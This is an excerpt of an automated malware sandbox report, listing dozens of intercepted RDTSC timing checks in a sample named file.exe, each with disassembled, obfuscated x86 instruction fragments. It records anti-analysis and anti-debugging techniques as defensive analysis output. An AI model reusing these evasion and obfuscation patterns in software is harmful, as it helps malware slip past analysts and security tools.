0x0000005c jmp 00007F57D451A1C9h 0x00000061 mov esi, 50056AF6h 0x00000066 popad 0x00000067 lodsw 0x00000069 pushad 0x0000006a sbb di, 5179h 0x0000006f xor dword ptr [ebp+122D1FE5h], ecx 0x00000075 popad 0x00000076 add eax, dword ptr [esp+24h] 0x0000007a cmc 0x0000007b mov dword ptr [ebp+122D364Eh], eax 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 sub dword ptr [ebp+122D364Eh], edx 0x0000008b nop 0x0000008c push eax 0x0000008d push edx 0x0000008e push eax 0x0000008f push edx 0x00000090 pushad 0x00000091 popad 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C3C3 second address: 83C3C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C3C7 second address: 83C3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b ja 00007F57D451A1CCh 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F57D451A1BCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C3FA second address: 83C3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C3FE second address: 83C408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F57D451A1B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C4D9 second address: 83C4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C4E5 second address: 83C4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C4EC second address: 83C50A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F57D4F134E9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C50A second address: 83C525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D3A06h] 0x0000000e push 00000000h 0x00000010 push 9C17DF92h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 push edi 0x00000019 pop edi 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C702 second address: 83C730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [eax] 0x00000007 jmp 00007F57D4F134E9h 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F57D4F134D8h 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CE4E second address: 85CE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ABFB second address: 85AC14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AC14 second address: 85AC1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AC1A second address: 85AC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 jc 00007F57D4F134E2h 0x0000000d jns 00007F57D4F134D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B314 second address: 85B31A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B31A second address: 85B31F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B31F second address: 85B339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F57D451A1C1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B339 second address: 85B349 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134DBh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B4BD second address: 85B4DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007F57D451A1B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F57D451A1C0h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B4DD second address: 85B4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BFA4 second address: 82BFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D451A1C0h 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BFBC second address: 82BFC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BFC0 second address: 82BFE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F57D451A1C5h 0x0000000e jno 00007F57D451A1BAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BFE8 second address: 82C006 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134E4h 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F57D4F134D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BF58 second address: 85BF60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BF60 second address: 85BF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BF69 second address: 85BF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C6AA second address: 85C6B4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F57D4F134D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C6B4 second address: 85C6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F57D451A1C8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C6D4 second address: 85C6D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C6D8 second address: 85C6EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F57D451A1BBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C6EE second address: 85C705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D4F134E1h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CCC5 second address: 85CCD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1BAh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CCD5 second address: 85CCDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F57D4F134D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860903 second address: 860918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 push esi 0x00000008 jmp 00007F57D451A1BCh 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860918 second address: 860941 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F57D4F134DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F57D4F134E3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860941 second address: 860971 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1C4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F57D451A1C2h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860971 second address: 860975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860975 second address: 86097B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832D89 second address: 832DA8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F57D4F134E6h 0x00000008 pop edi 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8688BF second address: 8688CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8688CC second address: 8688E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869000 second address: 86902C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F57D451A1BCh 0x0000000b jnc 00007F57D451A1B6h 0x00000011 popad 0x00000012 jc 00007F57D451A1E6h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F57D451A1C2h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86902C second address: 86903C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F57D4F134D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869BA3 second address: 869BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869BA8 second address: 869BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F57D4F134D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F57D4F134ECh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869BD4 second address: 869BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D451A1BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A056 second address: 86A05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A05C second address: 86A064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A116 second address: 86A136 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F57D4F134E3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A2B0 second address: 86A2CF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F57D451A1B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F57D451A1C0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A97D second address: 86A981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A981 second address: 86A985 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A985 second address: 86A98B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A98B second address: 86A9A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A9A3 second address: 86A9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AC26 second address: 86AC46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AC46 second address: 86AC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86BD81 second address: 86BD86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86BD86 second address: 86BD8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86DBB9 second address: 86DBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F27B second address: 86F286 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F57D4F134D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F286 second address: 86F2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F57D451A1B8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 pushad 0x00000023 mov bx, dx 0x00000026 popad 0x00000027 push 00000000h 0x00000029 js 00007F57D451A1B6h 0x0000002f push 00000000h 0x00000031 jmp 00007F57D451A1C2h 0x00000036 xor dword ptr [ebp+122D19F6h], edx 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e pushad 0x0000003f jns 00007F57D451A1B6h 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F2E4 second address: 86F308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007F57D4F134E9h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F308 second address: 86F319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D451A1BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FCF8 second address: 86FD0A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F57D4F134D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F57D4F134DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87057D second address: 870589 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870589 second address: 87058D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874896 second address: 87489B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87489B second address: 8748BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F57D4F134D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F57D4F134E4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8757BB second address: 8757BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8757BF second address: 8757D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F57D4F134DEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F70D second address: 82F724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D451A1C2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875932 second address: 875936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DEE second address: 878DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878EA2 second address: 878EA8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878EA8 second address: 878EBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D451A1BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D88 second address: 879D99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D99 second address: 879D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D9F second address: 879DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B03A second address: 87B043 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BF14 second address: 87BF3E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F57D4F134DAh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F57D4F134DFh 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007F57D4F134D6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B043 second address: 87B071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D451A1BEh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jg 00007F57D451A1C5h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DD43 second address: 87DDDD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F57D4F134E7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F57D4F134DAh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F57D4F134D8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b call 00007F57D4F134E2h 0x00000030 jnc 00007F57D4F134D8h 0x00000036 pop edi 0x00000037 pushad 0x00000038 mov dword ptr [ebp+124702E8h], ebx 0x0000003e popad 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007F57D4F134D8h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000018h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b push 00000000h 0x0000005d mov edi, dword ptr [ebp+122D3976h] 0x00000063 xchg eax, esi 0x00000064 push eax 0x00000065 push edx 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DDDD second address: 87DDE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DDE2 second address: 87DDE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DDE8 second address: 87DDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87ED4B second address: 87EDAC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F57D4F134D8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push 00000000h 0x00000025 mov dword ptr [ebp+122D19F0h], ebx 0x0000002b mov ebx, dword ptr [ebp+122D2B58h] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F57D4F134D8h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jbe 00007F57D4F134D8h 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DF4E second address: 87DF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D451A1BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EDAC second address: 87EDB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F57D4F134D6h 0x0000000a rdtsc
